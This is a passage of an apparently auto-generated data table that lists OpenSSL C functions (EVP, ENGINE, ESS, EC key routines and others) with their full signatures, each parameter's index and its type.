3 | ..(**)(..) | +| (const EC_KEY_METHOD *,..(**)(..),..(**)(..),..(**)(..),..(**)(..),..(**)(..),..(**)(..)) | | EC_KEY_METHOD_get_init | 0 | const EC_KEY_METHOD * | +| (const EC_KEY_METHOD *,..(**)(..),..(**)(..),..(**)(..),..(**)(..),..(**)(..),..(**)(..)) | | EC_KEY_METHOD_get_init | 1 | ..(**)(..) | +| (const EC_KEY_METHOD *,..(**)(..),..(**)(..),..(**)(..),..(**)(..),..(**)(..),..(**)(..)) | | EC_KEY_METHOD_get_init | 2 | ..(**)(..) | +| (const EC_KEY_METHOD *,..(**)(..),..(**)(..),..(**)(..),..(**)(..),..(**)(..),..(**)(..)) | | EC_KEY_METHOD_get_init | 3 | ..(**)(..) | +| (const EC_KEY_METHOD *,..(**)(..),..(**)(..),..(**)(..),..(**)(..),..(**)(..),..(**)(..)) | | EC_KEY_METHOD_get_init | 4 | ..(**)(..) | +| (const EC_KEY_METHOD *,..(**)(..),..(**)(..),..(**)(..),..(**)(..),..(**)(..),..(**)(..)) | | EC_KEY_METHOD_get_init | 5 | ..(**)(..) | +| (const EC_KEY_METHOD *,..(**)(..),..(**)(..),..(**)(..),..(**)(..),..(**)(..),..(**)(..)) | | EC_KEY_METHOD_get_init | 6 | ..(**)(..) | +| (const EC_METHOD *) | | EC_GROUP_new | 0 | const EC_METHOD * | +| (const EC_METHOD *) | | EC_METHOD_get_field_type | 0 | const EC_METHOD * | +| (const EC_POINT *) | | EC_POINT_method_of | 0 | const EC_POINT * | +| (const EC_POINT *,const EC_GROUP *) | | EC_POINT_dup | 0 | const EC_POINT * | +| (const EC_POINT *,const EC_GROUP *) | | EC_POINT_dup | 1 | const EC_GROUP * | +| (const EC_PRIVATEKEY *,unsigned char **) | | i2d_EC_PRIVATEKEY | 0 | const EC_PRIVATEKEY * | +| (const EC_PRIVATEKEY *,unsigned char **) | | i2d_EC_PRIVATEKEY | 1 | unsigned char ** | +| (const EDIPARTYNAME *,unsigned char **) | | i2d_EDIPARTYNAME | 0 | const EDIPARTYNAME * | +| (const EDIPARTYNAME *,unsigned char **) | | i2d_EDIPARTYNAME | 1 | unsigned char ** | +| (const ENGINE *) | | ENGINE_get_DH | 0 | const ENGINE * | +| (const ENGINE *) | | ENGINE_get_DSA | 0 | const ENGINE * | +| (const ENGINE *) | | ENGINE_get_EC | 0 | const ENGINE * | +| (const ENGINE *) | | ENGINE_get_RAND | 0 | const ENGINE * | +| (const ENGINE *) | | ENGINE_get_RSA | 0 | const ENGINE * | +| (const ENGINE *) | | ENGINE_get_ciphers | 0 | const ENGINE * | +| (const ENGINE *) | | ENGINE_get_cmd_defns | 0 | const ENGINE * | +| (const ENGINE *) | | ENGINE_get_ctrl_function | 0 | const ENGINE * | +| (const ENGINE *) | | ENGINE_get_destroy_function | 0 | const ENGINE * | +| (const ENGINE *) | | ENGINE_get_digests | 0 | const ENGINE * | +| (const ENGINE *) | | ENGINE_get_finish_function | 0 | const ENGINE * | +| (const ENGINE *) | | ENGINE_get_flags | 0 | const ENGINE * | +| (const ENGINE *) | | ENGINE_get_id | 0 | const ENGINE * | +| (const ENGINE *) | | ENGINE_get_init_function | 0 | const ENGINE * | +| (const ENGINE *) | | ENGINE_get_load_privkey_function | 0 | const ENGINE * | +| (const ENGINE *) | | ENGINE_get_load_pubkey_function | 0 | const ENGINE * | +| (const ENGINE *) | | ENGINE_get_name | 0 | const ENGINE * | +| (const ENGINE *) | | ENGINE_get_pkey_asn1_meths | 0 | const ENGINE * | +| (const ENGINE *) | | ENGINE_get_pkey_meths | 0 | const ENGINE * | +| (const ENGINE *) | | ENGINE_get_ssl_client_cert_function | 0 | const ENGINE * | +| (const ENGINE *,int) | | ENGINE_get_ex_data | 0 | const ENGINE * | +| (const ENGINE *,int) | | ENGINE_get_ex_data | 1 | int | +| (const ERR_STRING_DATA *) | | ERR_load_strings_const | 0 | const ERR_STRING_DATA * | +| (const ESS_CERT_ID *) | | ESS_CERT_ID_dup | 0 | const ESS_CERT_ID * | +| (const ESS_CERT_ID *,unsigned char **) | | i2d_ESS_CERT_ID | 0 | const ESS_CERT_ID * | +| (const ESS_CERT_ID *,unsigned char **) | | i2d_ESS_CERT_ID | 1 | unsigned char ** | +| (const ESS_CERT_ID_V2 *) | | ESS_CERT_ID_V2_dup | 0 | const ESS_CERT_ID_V2 * | +| (const ESS_CERT_ID_V2 *,unsigned char **) | | i2d_ESS_CERT_ID_V2 | 0 | const ESS_CERT_ID_V2 * | +| (const ESS_CERT_ID_V2 *,unsigned char **) | | i2d_ESS_CERT_ID_V2 | 1 | unsigned char ** | +| (const ESS_ISSUER_SERIAL *) | | ESS_ISSUER_SERIAL_dup | 0 | const ESS_ISSUER_SERIAL * | +| (const ESS_ISSUER_SERIAL *,unsigned char **) | | i2d_ESS_ISSUER_SERIAL | 0 | const ESS_ISSUER_SERIAL * | +| (const ESS_ISSUER_SERIAL *,unsigned char **) | | i2d_ESS_ISSUER_SERIAL | 1 | unsigned char ** | +| (const ESS_SIGNING_CERT *) | | ESS_SIGNING_CERT_dup | 0 | const ESS_SIGNING_CERT * | +| (const ESS_SIGNING_CERT *,unsigned char **) | | i2d_ESS_SIGNING_CERT | 0 | const ESS_SIGNING_CERT * | +| (const ESS_SIGNING_CERT *,unsigned char **) | | i2d_ESS_SIGNING_CERT | 1 | unsigned char ** | +| (const ESS_SIGNING_CERT_V2 *) | | ESS_SIGNING_CERT_V2_dup | 0 | const ESS_SIGNING_CERT_V2 * | +| (const ESS_SIGNING_CERT_V2 *,unsigned char **) | | i2d_ESS_SIGNING_CERT_V2 | 0 | const ESS_SIGNING_CERT_V2 * | +| (const ESS_SIGNING_CERT_V2 *,unsigned char **) | | i2d_ESS_SIGNING_CERT_V2 | 1 | unsigned char ** | +| (const EVP_ASYM_CIPHER *) | | EVP_ASYM_CIPHER_get0_description | 0 | const EVP_ASYM_CIPHER * | +| (const EVP_ASYM_CIPHER *) | | EVP_ASYM_CIPHER_get0_name | 0 | const EVP_ASYM_CIPHER * | +| (const EVP_ASYM_CIPHER *) | | EVP_ASYM_CIPHER_get0_provider | 0 | const EVP_ASYM_CIPHER * | +| (const EVP_ASYM_CIPHER *) | | evp_asym_cipher_get_number | 0 | const EVP_ASYM_CIPHER * | +| (const EVP_ASYM_CIPHER *,..(*)(..),void *) | | EVP_ASYM_CIPHER_names_do_all | 0 | const EVP_ASYM_CIPHER * | +| (const EVP_ASYM_CIPHER *,..(*)(..),void *) | | EVP_ASYM_CIPHER_names_do_all | 1 | ..(*)(..) | +| (const EVP_ASYM_CIPHER *,..(*)(..),void *) | | EVP_ASYM_CIPHER_names_do_all | 2 | void * | +| (const EVP_CIPHER *) | | EVP_CIPHER_get0_description | 0 | const EVP_CIPHER * | +| (const EVP_CIPHER *) | | EVP_CIPHER_get0_name | 0 | const EVP_CIPHER * | +| (const EVP_CIPHER *) | | EVP_CIPHER_get0_provider | 0 | const EVP_CIPHER * | +| (const EVP_CIPHER *) | | EVP_CIPHER_get_block_size | 0 | const EVP_CIPHER * | +| (const EVP_CIPHER *) | | EVP_CIPHER_get_flags | 0 | const EVP_CIPHER * | +| (const EVP_CIPHER *) | | EVP_CIPHER_get_iv_length | 0 | const EVP_CIPHER * | +| (const EVP_CIPHER *) | | EVP_CIPHER_get_key_length | 0 | const EVP_CIPHER * | +| (const EVP_CIPHER *) | | EVP_CIPHER_get_mode | 0 | const EVP_CIPHER * | +| (const EVP_CIPHER *) | | EVP_CIPHER_get_nid | 0 | const EVP_CIPHER * | +| (const EVP_CIPHER *) | | EVP_CIPHER_get_type | 0 | const EVP_CIPHER * | +| (const EVP_CIPHER *) | | EVP_CIPHER_impl_ctx_size | 0 | const EVP_CIPHER * | +| (const EVP_CIPHER *) | | EVP_CIPHER_meth_dup | 0 | const EVP_CIPHER * | +| (const EVP_CIPHER *) | | EVP_CIPHER_meth_get_cleanup | 0 | const EVP_CIPHER * | +| (const EVP_CIPHER *) | | EVP_CIPHER_meth_get_ctrl | 0 | const EVP_CIPHER * | +| (const EVP_CIPHER *) | | EVP_CIPHER_meth_get_do_cipher | 0 | const EVP_CIPHER * | +| (const EVP_CIPHER *) | | EVP_CIPHER_meth_get_get_asn1_params | 0 | const EVP_CIPHER * | +| (const EVP_CIPHER *) | | EVP_CIPHER_meth_get_init | 0 | const EVP_CIPHER * | +| (const EVP_CIPHER *) | | EVP_CIPHER_meth_get_set_asn1_params | 0 | const EVP_CIPHER * | +| (const EVP_CIPHER *) | | evp_cipher_get_number | 0 | const EVP_CIPHER * | +| (const EVP_CIPHER *,..(*)(..),void *) | | EVP_CIPHER_names_do_all | 0 | const EVP_CIPHER * | +| (const EVP_CIPHER *,..(*)(..),void *) | | EVP_CIPHER_names_do_all | 1 | ..(*)(..) | +| (const EVP_CIPHER *,..(*)(..),void *) | | EVP_CIPHER_names_do_all | 2 | void * | +| (const EVP_CIPHER *,OSSL_LIB_CTX *,const char *) | | CMS_AuthEnvelopedData_create_ex | 0 | const EVP_CIPHER * | +| (const EVP_CIPHER *,OSSL_LIB_CTX *,const char *) | | CMS_AuthEnvelopedData_create_ex | 1 | OSSL_LIB_CTX * | +| (const EVP_CIPHER *,OSSL_LIB_CTX *,const char *) | | CMS_AuthEnvelopedData_create_ex | 2 | const char * | +| (const EVP_CIPHER *,OSSL_LIB_CTX *,const char *) | | CMS_EnvelopedData_create_ex | 0 | const EVP_CIPHER * | +| (const EVP_CIPHER *,OSSL_LIB_CTX *,const char *) | | CMS_EnvelopedData_create_ex | 1 | OSSL_LIB_CTX * | +| (const EVP_CIPHER *,OSSL_LIB_CTX *,const char *) | | CMS_EnvelopedData_create_ex | 2 | const char * | +| (const EVP_CIPHER *,const EVP_MD *,const unsigned char *,const unsigned char *,int,int,unsigned char *,unsigned char *) | | EVP_BytesToKey | 0 | const EVP_CIPHER * | +| (const EVP_CIPHER *,const EVP_MD *,const unsigned char *,const unsigned char *,int,int,unsigned char *,unsigned char *) | | EVP_BytesToKey | 1 | const EVP_MD * | +| (const EVP_CIPHER *,const EVP_MD *,const unsigned char *,const unsigned char *,int,int,unsigned char *,unsigned char *) | | EVP_BytesToKey | 2 | const unsigned char * | +| (const EVP_CIPHER *,const EVP_MD *,const unsigned char *,const unsigned char *,int,int,unsigned char *,unsigned char *) | | EVP_BytesToKey | 3 | const unsigned char * | +| (const EVP_CIPHER *,const EVP_MD *,const unsigned char *,const unsigned char *,int,int,unsigned char *,unsigned char *) | | EVP_BytesToKey | 4 | int | +| (const EVP_CIPHER *,const EVP_MD *,const unsigned char *,const unsigned char *,int,int,unsigned char *,unsigned char *) | | EVP_BytesToKey | 5 | int | +| (const EVP_CIPHER *,const EVP_MD *,const unsigned char *,const unsigned char *,int,int,unsigned char *,unsigned char *) | | EVP_BytesToKey | 6 | unsigned char * | +| (const EVP_CIPHER *,const EVP_MD *,const unsigned char *,const unsigned char *,int,int,unsigned char *,unsigned char *) | | EVP_BytesToKey | 7 | unsigned char * | +| (const EVP_CIPHER_CTX *) | | EVP_CIPHER_CTX_cipher | 0 | const EVP_CIPHER_CTX * | +| (const EVP_CIPHER_CTX *) | | EVP_CIPHER_CTX_dup | 0 | const EVP_CIPHER_CTX * | +| (const EVP_CIPHER_CTX *) | | EVP_CIPHER_CTX_get0_cipher | 0 | const EVP_CIPHER_CTX * | +| (const EVP_CIPHER_CTX *) | | EVP_CIPHER_CTX_get_app_data | 0 | const EVP_CIPHER_CTX * | +| (const EVP_CIPHER_CTX *) | | EVP_CIPHER_CTX_get_block_size | 0 | const EVP_CIPHER_CTX * | +| (const EVP_CIPHER_CTX *) | | EVP_CIPHER_CTX_get_cipher_data | 0 | const EVP_CIPHER_CTX * | +| (const EVP_CIPHER_CTX *) | | EVP_CIPHER_CTX_get_iv_length | 0 | const EVP_CIPHER_CTX * | +| (const EVP_CIPHER_CTX *) | | EVP_CIPHER_CTX_get_key_length | 0 | const EVP_CIPHER_CTX * | +| (const EVP_CIPHER_CTX *) | | EVP_CIPHER_CTX_get_nid | 0 | const EVP_CIPHER_CTX * | +| (const EVP_CIPHER_CTX *) | | EVP_CIPHER_CTX_get_num | 0 | const EVP_CIPHER_CTX * | +| (const EVP_CIPHER_CTX *) | | EVP_CIPHER_CTX_is_encrypting | 0 | const EVP_CIPHER_CTX * | +| (const EVP_CIPHER_CTX *) | | EVP_CIPHER_CTX_iv | 0 | const EVP_CIPHER_CTX * | +| (const EVP_CIPHER_CTX *) | | EVP_CIPHER_CTX_original_iv | 0 | const EVP_CIPHER_CTX * | +| (const EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_test_flags | 0 | const EVP_CIPHER_CTX * | +| (const EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_test_flags | 1 | int | +| (const EVP_KDF *) | | EVP_KDF_get0_description | 0 | const EVP_KDF * | +| (const EVP_KDF *) | | EVP_KDF_get0_name | 0 | const EVP_KDF * | +| (const EVP_KDF *) | | EVP_KDF_get0_provider | 0 | const EVP_KDF * | +| (const EVP_KDF *) | | evp_kdf_get_number | 0 | const EVP_KDF * | +| (const EVP_KDF *,..(*)(..),void *) | | EVP_KDF_names_do_all | 0 | const EVP_KDF * | +| (const EVP_KDF *,..(*)(..),void *) | | EVP_KDF_names_do_all | 1 | ..(*)(..) | +| (const EVP_KDF *,..(*)(..),void *) | | EVP_KDF_names_do_all | 2 | void * | +| (const EVP_KDF_CTX *) | | EVP_KDF_CTX_dup | 0 | const EVP_KDF_CTX * | +| (const EVP_KEM *) | | EVP_KEM_get0_description | 0 | const EVP_KEM * | +| (const EVP_KEM *) | | EVP_KEM_get0_name | 0 | const EVP_KEM * | +| (const EVP_KEM *) | | EVP_KEM_get0_provider | 0 | const EVP_KEM * | +| (const EVP_KEM *) | | evp_kem_get_number | 0 | const EVP_KEM * | +| (const EVP_KEM *,..(*)(..),void *) | | EVP_KEM_names_do_all | 0 | const EVP_KEM * | +| (const EVP_KEM *,..(*)(..),void *) | | EVP_KEM_names_do_all | 1 | ..(*)(..) | +| (const EVP_KEM *,..(*)(..),void *) | | EVP_KEM_names_do_all | 2 | void * | +| (const EVP_KEYEXCH *) | | EVP_KEYEXCH_get0_description | 0 | const EVP_KEYEXCH * | +| (const EVP_KEYEXCH *) | | EVP_KEYEXCH_get0_name | 0 | const EVP_KEYEXCH * | +| (const EVP_KEYEXCH *) | | EVP_KEYEXCH_get0_provider | 0 | const EVP_KEYEXCH * | +| (const EVP_KEYEXCH *) | | evp_keyexch_get_number | 0 | const EVP_KEYEXCH * | +| (const EVP_KEYEXCH *,..(*)(..),void *) | | EVP_KEYEXCH_names_do_all | 0 | const EVP_KEYEXCH * | +| (const EVP_KEYEXCH *,..(*)(..),void *) | | EVP_KEYEXCH_names_do_all | 1 | ..(*)(..) | +| (const EVP_KEYEXCH *,..(*)(..),void *) | | EVP_KEYEXCH_names_do_all | 2 | void * | +| (const EVP_KEYMGMT *) | | EVP_KEYMGMT_get0_description | 0 | const EVP_KEYMGMT * | +| (const EVP_KEYMGMT *) | | EVP_KEYMGMT_get0_name | 0 | const EVP_KEYMGMT * | +| (const EVP_KEYMGMT *) | | EVP_KEYMGMT_get0_provider | 0 | const EVP_KEYMGMT * | +| (const EVP_KEYMGMT *) | | evp_keymgmt_get_legacy_alg | 0 | const EVP_KEYMGMT * | +| (const EVP_KEYMGMT *) | | evp_keymgmt_get_number | 0 | const EVP_KEYMGMT * | +| (const EVP_KEYMGMT *,..(*)(..),void *) | | EVP_KEYMGMT_names_do_all | 0 | const EVP_KEYMGMT * | +| (const EVP_KEYMGMT *,..(*)(..),void *) | | EVP_KEYMGMT_names_do_all | 1 | ..(*)(..) | +| (const EVP_KEYMGMT *,..(*)(..),void *) | | EVP_KEYMGMT_names_do_all | 2 | void * | +| (const EVP_MAC *) | | EVP_MAC_get0_description | 0 | const EVP_MAC * | +| (const EVP_MAC *) | | EVP_MAC_get0_name | 0 | const EVP_MAC * | +| (const EVP_MAC *) | | EVP_MAC_get0_provider | 0 | const EVP_MAC * | +| (const EVP_MAC *) | | evp_mac_get_number | 0 | const EVP_MAC * | +| (const EVP_MAC *,..(*)(..),void *) | | EVP_MAC_names_do_all | 0 | const EVP_MAC * | +| (const EVP_MAC *,..(*)(..),void *) | | EVP_MAC_names_do_all | 1 | ..(*)(..) | +| (const EVP_MAC *,..(*)(..),void *) | | EVP_MAC_names_do_all | 2 | void * | +| (const EVP_MAC_CTX *) | | EVP_MAC_CTX_dup | 0 | const EVP_MAC_CTX * | +| (const EVP_MD *) | | EVP_MD_get0_description | 0 | const EVP_MD * | +| (const EVP_MD *) | | EVP_MD_get0_name | 0 | const EVP_MD * | +| (const EVP_MD *) | | EVP_MD_get0_provider | 0 | const EVP_MD * | +| (const EVP_MD *) | | EVP_MD_get_block_size | 0 | const EVP_MD * | +| (const EVP_MD *) | | EVP_MD_get_flags | 0 | const EVP_MD * | +| (const EVP_MD *) | | EVP_MD_get_pkey_type | 0 | const EVP_MD * | +| (const EVP_MD *) | | EVP_MD_get_size | 0 | const EVP_MD * | +| (const EVP_MD *) | | EVP_MD_get_type | 0 | const EVP_MD * | +| (const EVP_MD *) | | EVP_MD_meth_dup | 0 | const EVP_MD * | +| (const EVP_MD *) | | EVP_MD_meth_get_app_datasize | 0 | const EVP_MD * | +| (const EVP_MD *) | | EVP_MD_meth_get_cleanup | 0 | const EVP_MD * | +| (const EVP_MD *) | | EVP_MD_meth_get_copy | 0 | const EVP_MD * | +| (const EVP_MD *) | | EVP_MD_meth_get_ctrl | 0 | const EVP_MD * | +| (const EVP_MD *) | | EVP_MD_meth_get_final | 0 | const EVP_MD * | +| (const EVP_MD *) | | EVP_MD_meth_get_flags | 0 | const EVP_MD * | +| (const EVP_MD *) | | EVP_MD_meth_get_init | 0 | const EVP_MD * | +| (const EVP_MD *) | | EVP_MD_meth_get_input_blocksize | 0 | const EVP_MD * | +| (const EVP_MD *) | | EVP_MD_meth_get_result_size | 0 | const EVP_MD * | +| (const EVP_MD *) | | EVP_MD_meth_get_update | 0 | const EVP_MD * | +| (const EVP_MD *) | | evp_md_get_number | 0 | const EVP_MD * | +| (const EVP_MD *,..(*)(..),void *) | | EVP_MD_names_do_all | 0 | const EVP_MD * | +| (const EVP_MD *,..(*)(..),void *) | | EVP_MD_names_do_all | 1 | ..(*)(..) | +| (const EVP_MD *,..(*)(..),void *) | | EVP_MD_names_do_all | 2 | void * | +| (const EVP_MD *,OSSL_LIB_CTX *,const char *) | | ossl_cms_DigestedData_create | 0 | const EVP_MD * | +| (const EVP_MD *,OSSL_LIB_CTX *,const char *) | | ossl_cms_DigestedData_create | 1 | OSSL_LIB_CTX * | +| (const EVP_MD *,OSSL_LIB_CTX *,const char *) | | ossl_cms_DigestedData_create | 2 | const char * | +| (const EVP_MD *,const EVP_MD *,int) | | ossl_rsa_pss_params_create | 0 | const EVP_MD * | +| (const EVP_MD *,const EVP_MD *,int) | | ossl_rsa_pss_params_create | 1 | const EVP_MD * | +| (const EVP_MD *,const EVP_MD *,int) | | ossl_rsa_pss_params_create | 2 | int | +| (const EVP_MD *,const OSSL_ITEM *,size_t) | | ossl_digest_md_to_nid | 0 | const EVP_MD * | +| (const EVP_MD *,const OSSL_ITEM *,size_t) | | ossl_digest_md_to_nid | 1 | const OSSL_ITEM * | +| (const EVP_MD *,const OSSL_ITEM *,size_t) | | ossl_digest_md_to_nid | 2 | size_t | +| (const EVP_MD *,const X509 *,const stack_st_X509 *,int) | | OSSL_ESS_signing_cert_v2_new_init | 0 | const EVP_MD * | +| (const EVP_MD *,const X509 *,const stack_st_X509 *,int) | | OSSL_ESS_signing_cert_v2_new_init | 1 | const X509 * | +| (const EVP_MD *,const X509 *,const stack_st_X509 *,int) | | OSSL_ESS_signing_cert_v2_new_init | 2 | const stack_st_X509 * | +| (const EVP_MD *,const X509 *,const stack_st_X509 *,int) | | OSSL_ESS_signing_cert_v2_new_init | 3 | int | +| (const EVP_MD *,const X509_NAME *,const ASN1_BIT_STRING *,const ASN1_INTEGER *) | | OCSP_cert_id_new | 0 | const EVP_MD * | +| (const EVP_MD *,const X509_NAME *,const ASN1_BIT_STRING *,const ASN1_INTEGER *) | | OCSP_cert_id_new | 1 | const X509_NAME * | +| (const EVP_MD *,const X509_NAME *,const ASN1_BIT_STRING *,const ASN1_INTEGER *) | | OCSP_cert_id_new | 2 | const ASN1_BIT_STRING * | +| (const EVP_MD *,const X509_NAME *,const ASN1_BIT_STRING *,const ASN1_INTEGER *) | | OCSP_cert_id_new | 3 | const ASN1_INTEGER * | +| (const EVP_MD *,const unsigned char *,size_t) | | OSSL_STORE_SEARCH_by_key_fingerprint | 0 | const EVP_MD * | +| (const EVP_MD *,const unsigned char *,size_t) | | OSSL_STORE_SEARCH_by_key_fingerprint | 1 | const unsigned char * | +| (const EVP_MD *,const unsigned char *,size_t) | | OSSL_STORE_SEARCH_by_key_fingerprint | 2 | size_t | +| (const EVP_MD *,const void *,int,const unsigned char *,size_t,unsigned char *,unsigned int *) | | HMAC | 0 | const EVP_MD * | +| (const EVP_MD *,const void *,int,const unsigned char *,size_t,unsigned char *,unsigned int *) | | HMAC | 1 | const void * | +| (const EVP_MD *,const void *,int,const unsigned char *,size_t,unsigned char *,unsigned int *) | | HMAC | 2 | int | +| (const EVP_MD *,const void *,int,const unsigned char *,size_t,unsigned char *,unsigned int *) | | HMAC | 3 | const unsigned char * | +| (const EVP_MD *,const void *,int,const unsigned char *,size_t,unsigned char *,unsigned int *) | | HMAC | 4 | size_t | +| (const EVP_MD *,const void *,int,const unsigned char *,size_t,unsigned char *,unsigned int *) | | HMAC | 5 | unsigned char * | +| (const EVP_MD *,const void *,int,const unsigned char *,size_t,unsigned char *,unsigned int *) | | HMAC | 6 | unsigned int * | +| (const EVP_MD_CTX *) | | EVP_MD_CTX_dup | 0 | const EVP_MD_CTX * | +| (const EVP_MD_CTX *) | | EVP_MD_CTX_get0_md | 0 | const EVP_MD_CTX * | +| (const EVP_MD_CTX *) | | EVP_MD_CTX_get0_md_data | 0 | const EVP_MD_CTX * | +| (const EVP_MD_CTX *) | | EVP_MD_CTX_get_pkey_ctx | 0 | const EVP_MD_CTX * | +| (const EVP_MD_CTX *) | | EVP_MD_CTX_get_size_ex | 0 | const EVP_MD_CTX * | +| (const EVP_MD_CTX *) | | EVP_MD_CTX_md | 0 | const EVP_MD_CTX * | +| (const EVP_MD_CTX *,int) | | EVP_MD_CTX_test_flags | 0 | const EVP_MD_CTX * | +| (const EVP_MD_CTX *,int) | | EVP_MD_CTX_test_flags | 1 | int | +| (const EVP_PKEY *) | | EVP_PKEY_get0 | 0 | const EVP_PKEY * | +| (const EVP_PKEY *) | | EVP_PKEY_get0_DH | 0 | const EVP_PKEY * | +| (const EVP_PKEY *) | | EVP_PKEY_get0_DSA | 0 | const EVP_PKEY * | +| (const EVP_PKEY *) | | EVP_PKEY_get0_EC_KEY | 0 | const EVP_PKEY * | +| (const EVP_PKEY *) | | EVP_PKEY_get0_RSA | 0 | const EVP_PKEY * | +| (const EVP_PKEY *) | | EVP_PKEY_get0_asn1 | 0 | const EVP_PKEY * | +| (const EVP_PKEY *) | | EVP_PKEY_get0_description | 0 | const EVP_PKEY * | +| (const EVP_PKEY *) | | EVP_PKEY_get0_engine | 0 | const EVP_PKEY * | +| (const EVP_PKEY *) | | EVP_PKEY_get0_provider | 0 | const EVP_PKEY * | +| (const EVP_PKEY *) | | EVP_PKEY_get0_type_name | 0 | const EVP_PKEY * | +| (const EVP_PKEY *) | | EVP_PKEY_get_attr_count | 0 | const EVP_PKEY * | +| (const EVP_PKEY *) | | EVP_PKEY_get_bits | 0 | const EVP_PKEY * | +| (const EVP_PKEY *) | | EVP_PKEY_get_id | 0 | const EVP_PKEY * | +| (const EVP_PKEY *) | | EVP_PKEY_get_security_bits | 0 | const EVP_PKEY * | +| (const EVP_PKEY *) | | EVP_PKEY_get_size | 0 | const EVP_PKEY * | +| (const EVP_PKEY *) | | evp_pkey_get0_DH_int | 0 | const EVP_PKEY * | +| (const EVP_PKEY *) | | evp_pkey_get0_EC_KEY_int | 0 | const EVP_PKEY * | +| (const EVP_PKEY *) | | evp_pkey_get0_RSA_int | 0 | const EVP_PKEY * | +| (const EVP_PKEY *,OSSL_PARAM *) | | evp_pkey_get_params_to_ctrl | 0 | const EVP_PKEY * | +| (const EVP_PKEY *,OSSL_PARAM *) | | evp_pkey_get_params_to_ctrl | 1 | OSSL_PARAM * | +| (const EVP_PKEY *,OSSL_PARAM[]) | | EVP_PKEY_get_params | 0 | const EVP_PKEY * | +| (const EVP_PKEY *,OSSL_PARAM[]) | | EVP_PKEY_get_params | 1 | OSSL_PARAM[] | +| (const EVP_PKEY *,const ASN1_OBJECT *,int) | | EVP_PKEY_get_attr_by_OBJ | 0 | const EVP_PKEY * | +| (const EVP_PKEY *,const ASN1_OBJECT *,int) | | EVP_PKEY_get_attr_by_OBJ | 1 | const ASN1_OBJECT * | +| (const EVP_PKEY *,const ASN1_OBJECT *,int) | | EVP_PKEY_get_attr_by_OBJ | 2 | int | +| (const EVP_PKEY *,const char *,BIGNUM **) | | EVP_PKEY_get_bn_param | 0 | const EVP_PKEY * | +| (const EVP_PKEY *,const char *,BIGNUM **) | | EVP_PKEY_get_bn_param | 1 | const char * | +| (const EVP_PKEY *,const char *,BIGNUM **) | | EVP_PKEY_get_bn_param | 2 | BIGNUM ** | +| (const EVP_PKEY *,int) | | EVP_PKEY_get_attr | 0 | const EVP_PKEY * | +| (const EVP_PKEY *,int) | | EVP_PKEY_get_attr | 1 | int | +| (const EVP_PKEY *,int) | | EVP_PKEY_get_ex_data | 0 | const EVP_PKEY * | +| (const EVP_PKEY *,int) | | EVP_PKEY_get_ex_data | 1 | int | +| (const EVP_PKEY *,int,const char *,const char *,const char *) | | OSSL_ENCODER_CTX_new_for_pkey | 0 | const EVP_PKEY * | +| (const EVP_PKEY *,int,const char *,const char *,const char *) | | OSSL_ENCODER_CTX_new_for_pkey | 1 | int | +| (const EVP_PKEY *,int,const char *,const char *,const char *) | | OSSL_ENCODER_CTX_new_for_pkey | 2 | const char * | +| (const EVP_PKEY *,int,const char *,const char *,const char *) | | OSSL_ENCODER_CTX_new_for_pkey | 3 | const char * | +| (const EVP_PKEY *,int,const char *,const char *,const char *) | | OSSL_ENCODER_CTX_new_for_pkey | 4 | const char * | +| (const EVP_PKEY *,int,int) | | EVP_PKEY_get_attr_by_NID | 0 | const EVP_PKEY * | +| (const EVP_PKEY *,int,int) | | EVP_PKEY_get_attr_by_NID | 1 | int | +| (const EVP_PKEY *,int,int) | | EVP_PKEY_get_attr_by_NID | 2 | int | +| (const EVP_PKEY *,size_t *,SSL_CTX *) | | ssl_cert_lookup_by_pkey | 0 | const EVP_PKEY * | +| (const EVP_PKEY *,size_t *,SSL_CTX *) | | ssl_cert_lookup_by_pkey | 1 | size_t * | +| (const EVP_PKEY *,size_t *,SSL_CTX *) | | ssl_cert_lookup_by_pkey | 2 | SSL_CTX * | +| (const EVP_PKEY *,unsigned char **) | | i2d_KeyParams | 0 | const EVP_PKEY * | +| (const EVP_PKEY *,unsigned char **) | | i2d_KeyParams | 1 | unsigned char ** | +| (const EVP_PKEY *,unsigned char **) | | i2d_PKCS8PrivateKey | 0 | const EVP_PKEY * | +| (const EVP_PKEY *,unsigned char **) | | i2d_PKCS8PrivateKey | 1 | unsigned char ** | +| (const EVP_PKEY *,unsigned char **) | | i2d_PUBKEY | 0 | const EVP_PKEY * | +| (const EVP_PKEY *,unsigned char **) | | i2d_PUBKEY | 1 | unsigned char ** | +| (const EVP_PKEY *,unsigned char **) | | i2d_PrivateKey | 0 | const EVP_PKEY * | +| (const EVP_PKEY *,unsigned char **) | | i2d_PrivateKey | 1 | unsigned char ** | +| (const EVP_PKEY *,unsigned char **) | | i2d_PublicKey | 0 | const EVP_PKEY * | +| (const EVP_PKEY *,unsigned char **) | | i2d_PublicKey | 1 | unsigned char ** | +| (const EVP_PKEY_CTX *) | | EVP_PKEY_CTX_dup | 0 | const EVP_PKEY_CTX * | +| (const EVP_PKEY_CTX *) | | EVP_PKEY_CTX_get0_propq | 0 | const EVP_PKEY_CTX * | +| (const EVP_PKEY_CTX *) | | EVP_PKEY_CTX_get0_provider | 0 | const EVP_PKEY_CTX * | +| (const EVP_PKEY_CTX *) | | EVP_PKEY_CTX_get_data | 0 | const EVP_PKEY_CTX * | +| (const EVP_PKEY_METHOD *,..(**)(..)) | | EVP_PKEY_meth_get_check | 0 | const EVP_PKEY_METHOD * | +| (const EVP_PKEY_METHOD *,..(**)(..)) | | EVP_PKEY_meth_get_check | 1 | ..(**)(..) | +| (const EVP_PKEY_METHOD *,..(**)(..)) | | EVP_PKEY_meth_get_cleanup | 0 | const EVP_PKEY_METHOD * | +| (const EVP_PKEY_METHOD *,..(**)(..)) | | EVP_PKEY_meth_get_cleanup | 1 | ..(**)(..) | +| (const EVP_PKEY_METHOD *,..(**)(..)) | | EVP_PKEY_meth_get_copy | 0 | const EVP_PKEY_METHOD * | +| (const EVP_PKEY_METHOD *,..(**)(..)) | | EVP_PKEY_meth_get_copy | 1 | ..(**)(..) | +| (const EVP_PKEY_METHOD *,..(**)(..)) | | EVP_PKEY_meth_get_digest_custom | 0 | const EVP_PKEY_METHOD * | +| (const EVP_PKEY_METHOD *,..(**)(..)) | | EVP_PKEY_meth_get_digest_custom | 1 | ..(**)(..) | +| (const EVP_PKEY_METHOD *,..(**)(..)) | | EVP_PKEY_meth_get_digestsign | 0 | const EVP_PKEY_METHOD * | +| (const EVP_PKEY_METHOD *,..(**)(..)) | | EVP_PKEY_meth_get_digestsign | 1 | ..(**)(..) | +| (const EVP_PKEY_METHOD 